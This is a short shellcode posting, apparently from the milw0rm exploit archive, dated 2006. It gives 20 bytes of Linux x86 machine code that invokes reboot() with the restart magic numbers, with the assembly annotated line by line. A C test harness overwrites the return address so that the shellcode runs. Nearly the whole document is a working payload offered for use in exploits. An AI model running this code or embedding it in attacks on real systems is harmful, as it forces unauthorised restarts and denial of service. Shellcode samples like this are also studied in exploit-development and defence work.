linux/x86 reboot() - 20 bytes

/* * (linux/x86) reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART) - 20 bytes * - izik <izik@tty64.org> */ char shellcode[] = "\x6a\x58" // push $0x58 "\x58" // pop %eax "\xbb\xad\xde\xe1\xfe" // mov $0xfee1dead,%ebx "\xb9\x69\x19\x12\x28" // mov $0x28121969,%ecx "\xba\x67\x45\x23\x01" // mov $0x1234567,%edx "\xcd\x80"; // int $0x80 int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; } // milw0rm.com [2006-01-21]